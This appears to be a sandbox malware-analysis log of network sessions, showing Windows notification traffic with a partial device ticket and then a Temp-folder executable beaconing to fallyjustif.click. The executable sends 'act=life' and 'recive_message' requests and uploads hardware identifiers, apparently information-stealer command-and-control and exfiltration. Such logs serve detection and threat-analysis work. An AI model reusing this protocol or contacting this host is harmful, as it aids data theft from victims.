2025-01-03 14:22:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-03 14:22:03 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 54 33 43 39 6e 64 4f 6b 45 75 39 52 4a 4b 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 64 39 33 34 62 64 33 36 34 64 61 34 37 62 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 51 67 34 62 35 38 63 53 30 56 55 49 44 6e 74 37 30 6a 74 4a 77 33 52 6f 42 41 57 50 58 6b 44 58 37 55 5a 6d 62 6f 64 76 54 4d 78 72 37 66 78 5a 4b 69 4f 57 66 37 54 33 35 6e 79 79 68 4f 6a 43 50 4b 4f 5a 36 77 65 52 54 2b 68 2f 4f 39 77 42 31 2b 76 34 56 67 63 38 31 2b 4b 70 39 62 61 69 54 69 42 54 50 67 72 70 62 45 4c 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 6T3C9ndOkEu9RJKm.2Context: 1d934bd364da47b6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaQg4b58cS0VUIDnt70jtJw3RoBAWPXkDX7UZmbodvTMxr7fxZKiOWf7T35nyyhOjCPKOZ6weRT+h/O9wB1+v4Vgc81+Kp9baiTiBTPgrpbELf
2025-01-03 14:22:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 54 33 43 39 6e 64 4f 6b 45 75 39 52 4a 4b 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 64 39 33 34 62 64 33 36 34 64 61 34 37 62 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 6T3C9ndOkEu9RJKm.3Context: 1d934bd364da47b6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-03 14:22:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-03 14:22:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 77 49 4e 41 72 37 4d 70 36 30 61 69 75 6b 74 4a 63 4f 48 71 76 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: wINAr7Mp60aiuktJcOHqvg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50032	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:18 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fallyjustif.click
2025-01-03 14:22:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-03 14:22:18 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vjg14t0h0uapee87jemfe63e03; expires=Tue, 29 Apr 2025 08:08:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EC1ZrfofjOqlGBto6X1HJUVQNc7YzA2pob%2BPD7SsmVp%2FcX5Qe9ibTNeWRTaOTdO6tXEVeM4gWQ7Txuz2VkjbQPNX%2B2WfNYseCcq1IFgPZE8IcrBhhSoxd%2FjWdbVOn7H8470P5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a3e57aea7c9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1907&min_rtt=1904&rtt_var=720&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=908&delivery_rate=1513737&cwnd=189&unsent_bytes=0&cid=530388aaebc5e249&ts=487&x=0"
2025-01-03 14:22:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-03 14:22:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50035	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: fallyjustif.click
2025-01-03 14:22:19 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4d 65 48 64 79 34 2d 2d 70 6c 31 76 73 30 31 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=MeHdy4--pl1vs01&j=
2025-01-03 14:22:19 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u607a1voqr6h56570uvtko388b; expires=Tue, 29 Apr 2025 08:08:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uW0saF0LV9beWNf%2BDlQuaUjjZ0AWs51hqyVEaheuJ%2BUGZIQCCLCG0UUNIigmfN3kQR77zeTjEWSLwLAWahubZqIHUFRTts1CP%2F%2FSiyYYcgqpayKWDPWGwwkElCne1ZXIGiIirw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a3eb2e847c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1995&min_rtt=1987&rtt_var=761&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=950&delivery_rate=1423001&cwnd=209&unsent_bytes=0&cid=9d4a0b8b673e4a37&ts=488&x=0"
2025-01-03 14:22:19 UTC	238	IN	Data Raw: 63 34 33 0d 0a 73 4d 32 2b 33 36 36 4a 59 6e 58 73 62 47 44 38 6e 41 76 51 4e 4b 56 4f 54 65 63 4d 56 4d 4a 7a 56 51 30 2f 36 32 79 74 6e 51 54 4c 37 38 6a 39 6c 4c 31 4f 56 35 38 4a 51 73 62 6f 65 61 56 52 69 57 77 73 67 79 35 75 70 42 49 35 66 6c 72 48 54 74 76 77 4a 6f 71 72 33 37 50 64 37 45 35 58 69 52 52 43 78 73 64 77 38 6c 48 4c 62 48 66 46 61 54 36 67 45 6a 6c 76 58 6f 41 44 33 66 46 6e 32 4b 48 5a 74 38 76 71 42 68 53 41 41 51 57 5a 2b 57 71 36 57 73 77 6a 4a 59 6f 75 65 4f 41 57 4c 79 38 46 79 53 48 49 36 57 58 39 72 4d 32 30 6a 50 52 4f 44 73 34 4a 44 74 36 6d 4b 62 46 52 78 79 49 72 67 32 63 38 71 68 73 78 62 6c 75 42 48 4d 54 37 62 4e 69 76 32 72 62 42 34 78 49 5a 69 67 59 4f 6e 2f 4e 71 38 Data Ascii: c43sM2+366JYnXsbGD8nAvQNKVOTecMVMJzVQ0/62ytnQTL78j9lL1OV58JQsboeaVRiWwsgy5upBI5flrHTtvwJoqr37Pd7E5XiRRCxsdw8lHLbHfFaT6gEjlvXoAD3fFn2KHZt8vqBhSAAQWZ+Wq6WswjJYoueOAWLy8FySHI6WX9rM20jPRODs4JDt6mKbFRxyIrg2c8qhsxbluBHMT7bNiv2rbB4xIZigYOn/Nq8
2025-01-03 14:22:19 UTC	1369	IN	Data Raw: 68 69 48 4b 7a 66 46 4e 6e 62 7a 49 7a 52 2b 54 4a 77 44 33 2f 6b 6d 7a 65 48 46 2f 63 76 6e 51 45 2f 4f 42 67 36 51 2b 32 71 39 55 63 59 73 50 59 70 75 4e 61 67 5a 4d 32 56 53 68 67 48 42 39 57 48 61 70 74 75 79 79 2b 4d 47 47 49 31 4f 54 4e 37 35 63 66 49 4f 68 77 77 2f 68 6d 30 69 72 51 42 33 63 42 4f 51 54 73 6a 7a 4a 6f 72 76 32 72 50 4e 35 67 41 46 68 67 55 4a 6d 2b 78 69 75 31 76 4b 4c 43 4b 50 59 54 57 67 46 6a 31 6c 55 6f 4d 4b 77 76 4a 67 30 71 2b 63 38 34 7a 73 47 46 66 57 54 69 47 62 37 6d 36 2b 51 49 55 57 62 35 6f 67 4c 2b 41 57 4f 79 38 46 79 51 62 4b 2f 47 58 5a 6f 4e 2b 31 78 2f 6b 41 42 59 67 44 42 34 7a 34 62 4c 78 63 78 44 34 6c 69 32 67 31 71 52 6f 2b 61 6c 71 4e 54 6f 47 2f 59 63 72 76 68 50 33 74 35 67 73 62 68 42 6b 43 33 75 45 6e Data Ascii: hiHKzfFNnbzIzR+TJwD3/kmzeHF/cvnQE/OBg6Q+2q9UcYsPYpuNagZM2VShgHB9WHaptuyy+MGGI1OTN75cfIOhww/hm0irQB3cBOQTsjzJorv2rPN5gAFhgUJm+xiu1vKLCKPYTWgFj1lUoMKwvJg0q+c84zsGFfWTiGb7m6+QIUWb5ogL+AWOy8FyQbK/GXZoN+1x/kABYgDB4z4bLxcxD4li2g1qRo+alqNToG/YcrvhP3t5gsbhBkC3uEn
2025-01-03 14:22:19 UTC	1369	IN	Data Raw: 34 6a 6a 32 67 35 72 52 31 33 49 52 32 4f 46 6f 2b 6e 4a 76 69 73 79 4c 37 47 71 54 55 55 67 41 41 46 69 4c 35 32 2f 45 2b 48 4b 79 50 46 4e 6e 61 74 45 44 39 70 54 34 59 44 7a 50 46 6f 33 61 72 54 74 63 7a 72 44 52 4b 4b 42 51 6d 64 38 32 32 67 58 4d 63 6b 4b 6f 52 6b 50 4f 42 66 64 32 68 46 79 56 61 50 7a 6e 48 5a 37 65 6d 2b 77 75 55 48 41 63 34 52 54 49 65 2b 62 72 34 57 6e 32 77 69 6a 57 73 7a 72 78 41 39 59 56 69 44 41 73 66 78 5a 63 43 67 32 4c 33 41 34 77 6f 61 67 41 6f 4b 6c 2f 56 69 74 46 62 47 4a 6d 2f 4c 4c 6a 47 34 55 57 38 76 61 59 34 43 77 76 41 6b 35 36 7a 53 73 38 76 39 51 41 6a 41 46 30 4b 5a 38 69 6e 71 46 73 73 6c 4c 34 35 6b 4d 71 41 57 4f 6d 70 65 6a 67 33 43 2b 47 7a 63 71 4e 69 78 78 65 59 47 46 34 6b 4b 42 34 7a 37 59 4c 35 61 68 Data Ascii: 4jj2g5rR13IR2OFo+nJvisyL7GqTUUgAAFiL52/E+HKyPFNnatED9pT4YDzPFo3arTtczrDRKKBQmd822gXMckKoRkPOBfd2hFyVaPznHZ7em+wuUHAc4RTIe+br4Wn2wijWszrxA9YViDAsfxZcCg2L3A4woagAoKl/VitFbGJm/LLjG4UW8vaY4CwvAk56zSs8v9QAjAF0KZ8inqFsslL45kMqAWOmpejg3C+GzcqNixxeYGF4kKB4z7YL5ah
2025-01-03 14:22:19 UTC	170	IN	Data Raw: 75 4b 65 34 49 64 32 68 52 79 56 61 50 39 6d 2f 41 6f 64 4b 30 77 65 30 49 45 49 41 44 43 5a 6a 31 62 72 56 51 79 69 51 69 67 47 30 33 70 42 73 6c 62 46 61 44 41 38 57 2f 4b 4a 4b 6f 78 50 32 55 71 79 63 62 70 78 34 5a 6a 4f 67 70 72 52 6a 65 62 43 69 4a 4c 6d 37 67 45 6a 68 6d 55 6f 45 47 77 50 42 69 33 4b 6e 61 73 4d 6e 6b 43 67 57 47 41 41 2b 56 38 57 4b 67 56 73 6f 6f 49 34 46 6d 50 61 70 52 65 53 39 61 6b 55 36 58 76 31 50 66 6f 4e 79 2b 32 71 73 66 57 5a 64 4f 42 5a 4b 2b 4d 66 4a 61 79 53 77 0d 0a Data Ascii: uKe4Id2hRyVaP9m/AodK0we0IEIADCZj1brVQyiQigG03pBslbFaDA8W/KJKoxP2Uqycbpx4ZjOgprRjebCiJLm7gEjhmUoEGwPBi3KnasMnkCgWGAA+V8WKgVsooI4FmPapReS9akU6Xv1PfoNy+2qsfWZdOBZK+MfJaySw
2025-01-03 14:22:19 UTC	1369	IN	Data Raw: 33 64 35 31 0d 0a 67 69 57 49 39 71 42 41 37 59 56 71 4d 42 38 66 33 64 4e 4f 72 31 4c 7a 43 35 41 45 54 69 77 73 47 6d 66 70 76 76 52 61 4a 62 43 69 64 4c 6d 37 67 50 68 42 61 48 36 67 30 6a 2b 41 6f 79 2b 2f 62 73 59 79 7a 51 42 75 4e 41 67 71 52 2b 47 43 2b 58 4d 34 6e 49 34 35 71 4f 71 6b 55 4d 57 35 59 6a 41 2f 4c 38 32 7a 55 72 4e 2b 79 77 2b 51 49 56 38 42 4f 42 59 61 2b 4d 66 4a 7a 30 43 63 68 67 79 34 70 37 67 68 33 61 46 48 4a 56 6f 2f 7a 62 39 53 70 32 62 48 4e 37 51 67 53 68 67 6f 44 6d 50 68 71 76 56 4c 43 4c 53 43 42 59 6a 69 71 45 44 5a 6a 56 6f 59 46 79 72 38 6f 6b 71 6a 45 2f 5a 53 72 4d 52 53 59 47 52 4b 53 76 6e 62 38 54 34 63 72 49 38 55 32 64 71 45 44 50 57 56 54 6a 41 48 4b 2f 47 6e 56 6f 74 71 78 78 75 49 49 45 59 45 48 45 4a 33 79 Data Ascii: 3d51giWI9qBA7YVqMB8f3dNOr1LzC5AETiwsGmfpvvRaJbCidLm7gPhBaH6g0j+Aoy+/bsYyzQBuNAgqR+GC+XM4nI45qOqkUMW5YjA/L82zUrN+yw+QIV8BOBYa+MfJz0Cchgy4p7gh3aFHJVo/zb9Sp2bHN7QgShgoDmPhqvVLCLSCBYjiqEDZjVoYFyr8okqjE/ZSrMRSYGRKSvnb8T4crI8U2dqEDPWVTjAHK/GnVotqxxuIIEYEHEJ3y
2025-01-03 14:22:19 UTC	1369	IN	Data Raw: 4d 68 4c 35 64 68 4d 61 63 59 50 48 31 58 6a 67 6e 45 39 32 33 64 71 63 36 78 77 76 6b 46 42 5a 78 4f 54 4e 37 35 63 66 49 4f 68 78 6f 6f 6c 58 34 31 34 69 41 68 62 45 75 43 41 38 4f 2f 65 5a 79 32 6e 4c 72 41 71 31 68 58 69 41 45 4c 6e 66 46 6f 75 31 72 4b 4b 53 61 41 62 7a 43 6b 47 7a 31 76 57 34 38 50 79 76 56 6c 30 36 58 56 75 73 54 73 41 77 58 4f 51 45 4b 5a 35 69 6e 71 46 75 34 72 50 59 74 2b 64 72 39 66 4c 69 39 61 68 55 36 58 76 32 4c 59 6f 4e 69 36 77 4f 30 46 45 59 4d 50 44 5a 2f 2b 5a 72 5a 64 7a 69 6f 75 69 47 73 37 70 41 4d 39 5a 46 4b 46 42 38 50 79 4a 70 7a 76 32 36 57 4d 73 30 41 6d 67 77 41 4d 6d 65 67 70 72 52 6a 65 62 43 69 4a 4c 6d 37 67 45 44 74 67 58 6f 59 4e 7a 50 35 73 77 4c 33 51 74 4d 54 75 44 42 79 41 43 42 43 59 38 57 43 78 56 Data Ascii: MhL5dhMacYPH1XjgnE923dqc6xwvkFBZxOTN75cfIOhxoolX414iAhbEuCA8O/eZy2nLrAq1hXiAELnfFou1rKKSaAbzCkGz1vW48PyvVl06XVusTsAwXOQEKZ5inqFu4rPYt+dr9fLi9ahU6Xv2LYoNi6wO0FEYMPDZ/+ZrZdziouiGs7pAM9ZFKFB8PyJpzv26WMs0AmgwAMmegprRjebCiJLm7gEDtgXoYNzP5swL3QtMTuDByACBCY8WCxV
2025-01-03 14:22:19 UTC	1369	IN	Data Raw: 46 49 48 61 78 46 69 59 76 42 5a 38 65 32 50 68 35 6e 4c 61 63 75 73 43 72 57 46 65 49 42 77 53 5a 2b 47 65 67 55 38 45 6a 49 49 78 6e 4d 71 67 53 4e 32 74 5a 6a 67 76 4d 38 32 33 56 72 4e 4f 35 78 65 55 4a 47 4d 35 41 51 70 6e 6d 4b 65 6f 57 35 6a 63 73 69 57 4e 32 76 31 38 75 4c 31 71 46 54 70 65 2f 61 74 79 71 33 4c 66 4b 37 77 55 52 68 41 73 43 6c 66 31 6d 74 6c 44 44 49 79 2b 4f 5a 7a 65 6d 46 44 31 6b 57 34 51 4e 79 66 6b 6d 6e 4f 2f 62 70 59 79 7a 51 44 65 56 41 77 36 5a 76 6e 62 38 54 34 63 72 49 38 55 32 64 71 73 64 4d 32 68 64 68 41 33 48 2b 6d 4c 59 71 74 79 31 33 75 4d 41 45 4a 77 63 41 70 66 37 5a 62 46 57 77 79 6f 6d 67 32 30 79 34 46 39 33 61 45 58 4a 56 6f 2f 53 61 74 57 47 32 36 61 4d 39 45 34 4f 7a 67 6b 4f 33 71 59 70 73 31 33 4e 49 79 Data Ascii: FIHaxFiYvBZ8e2Ph5nLacusCrWFeIBwSZ+GegU8EjIIxnMqgSN2tZjgvM823VrNO5xeUJGM5AQpnmKeoW5jcsiWN2v18uL1qFTpe/atyq3LfK7wURhAsClf1mtlDDIy+OZzemFD1kW4QNyfkmnO/bpYyzQDeVAw6Zvnb8T4crI8U2dqsdM2hdhA3H+mLYqty13uMAEJwcApf7ZbFWwyomg20y4F93aEXJVo/SatWG26aM9E4OzgkO3qYps13NIy
2025-01-03 14:22:19 UTC	1369	IN	Data Raw: 34 42 42 33 4e 32 53 51 54 74 6d 2f 50 6f 44 68 6e 4b 2b 4d 73 30 42 51 6a 52 77 51 6d 50 31 2f 73 52 48 35 45 67 69 54 5a 44 47 77 46 69 42 67 48 63 64 4f 77 4c 38 2b 36 2b 2f 56 75 74 66 36 46 68 71 65 43 55 4b 68 73 43 6d 71 46 70 39 73 47 6f 5a 67 4f 4b 63 48 4a 69 4a 36 6e 77 54 49 37 32 48 46 6f 4a 7a 7a 6a 4f 31 41 54 39 31 41 51 70 72 76 4b 65 6f 47 6c 58 64 36 31 6a 6c 6d 38 67 35 35 64 68 32 66 54 70 65 74 4b 4a 4b 39 6e 4f 57 4d 72 41 4d 46 6e 41 67 42 69 50 30 75 6a 47 6a 67 4e 69 4b 44 65 53 65 65 4c 7a 42 31 55 49 38 5a 33 72 4e 7a 30 61 48 53 75 74 71 72 54 6c 65 42 54 6c 71 6e 76 69 48 79 61 59 6c 73 4e 38 55 32 64 70 55 53 4f 57 46 61 6e 78 2b 43 32 48 7a 66 71 63 75 73 6a 4b 56 41 45 63 35 57 55 4e 43 2b 62 61 4d 57 6e 33 78 39 33 6a 74 Data Ascii: 4BB3N2SQTtm/PoDhnK+Ms0BQjRwQmP1/sRH5EgiTZDGwFiBgHcdOwL8+6+/Vutf6FhqeCUKhsCmqFp9sGoZgOKcHJiJ6nwTI72HFoJzzjO1AT91AQprvKeoGlXd61jlm8g55dh2fTpetKJK9nOWMrAMFnAgBiP0ujGjgNiKDeSeeLzB1UI8Z3rNz0aHSutqrTleBTlqnviHyaYlsN8U2dpUSOWFanx+C2HzfqcusjKVAEc5WUNC+baMWn3x93jt
2025-01-03 14:22:19 UTC	1369	IN	Data Raw: 32 41 64 30 54 65 50 74 79 62 74 34 5a 79 6c 6a 4c 4e 41 49 6f 30 41 44 4a 6e 6f 65 50 39 2b 35 42 59 56 78 30 49 78 74 56 4d 44 61 45 32 59 42 63 4c 7a 4a 70 7a 76 32 76 32 55 75 30 35 58 69 68 39 43 78 71 34 37 36 51 4f 55 65 33 2f 58 63 58 69 35 55 53 45 76 42 64 74 41 6a 2b 30 6d 69 75 2b 62 76 74 37 35 42 68 53 59 44 55 57 67 77 45 36 38 55 63 59 36 50 35 4a 68 43 4a 34 45 4e 47 46 54 6a 68 6a 65 76 79 69 53 6f 4a 7a 6c 39 61 74 49 56 37 46 41 51 6f 61 2b 4d 66 4a 6a 78 43 49 68 67 6e 67 6e 37 54 59 35 61 46 79 66 48 74 6a 77 4a 70 7a 76 32 76 32 55 75 55 35 58 69 68 39 43 78 71 34 37 36 51 4f 55 65 33 2f 58 63 58 69 35 55 53 45 76 42 64 74 41 6a 2b 30 6d 69 75 2b 62 76 74 37 35 42 68 53 59 44 55 57 67 77 45 36 38 55 63 59 36 50 35 4a 68 65 59 34 6e Data Ascii: 2Ad0TePtybt4ZyljLNAIo0ADJnoeP9+5BYVx0IxtVMDaE2YBcLzJpzv2v2Uu05Xih9Cxq476QOUe3/XcXi5USEvBdtAj+0miu+bvt75BhSYDUWgwE68UcY6P5JhCJ4ENGFTjhjevyiSoJzl9atIV7FAQoa+MfJjxCIhgngn7TY5aFyfHtjwJpzv2v2UuU5Xih9Cxq476QOUe3/XcXi5USEvBdtAj+0miu+bvt75BhSYDUWgwE68UcY6P5JheY4n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50036	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:20 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=86ZBMU2QA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12807 Host: fallyjustif.click
2025-01-03 14:22:20 UTC	12807	OUT	Data Raw: 2d 2d 38 36 5a 42 4d 55 32 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 45 33 42 30 34 38 32 37 41 45 35 34 39 37 37 30 0d 0a 2d 2d 38 36 5a 42 4d 55 32 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 36 5a 42 4d 55 32 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 31 76 73 30 31 0d 0a 2d 2d 38 36 5a 42 4d 55 32 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --86ZBMU2QAContent-Disposition: form-data; name="hwid"8035F73EF50AEF55E3B04827AE549770--86ZBMU2QAContent-Disposition: form-data; name="pid"2--86ZBMU2QAContent-Disposition: form-data; name="lid"MeHdy4--pl1vs01--86ZBMU2QAContent-Di
2025-01-03 14:22:21 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5nf17v5nct47im8tllvdg1csp7; expires=Tue, 29 Apr 2025 08:08:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ToFJr6dpdLi7mfdE8ve2E3%2BaR4nKiWXqi0J3nI8NvfhuCbUxUyLwqXMYmRZ55lhBUSbJDKRUor8BujVGACNX3YyrL6m%2FcdHUF6cuPd3J62%2Fm73%2BRHswLrufuW5EljiU0YWcHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a3f36c4842af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1995&min_rtt=1850&rtt_var=797&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13739&delivery_rate=1578378&cwnd=166&unsent_bytes=0&cid=994dd75b891c2557&ts=624&x=0"
2025-01-03 14:22:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:22:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50037	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:21 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0G1QTHU8GNXYXKK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15089 Host: fallyjustif.click
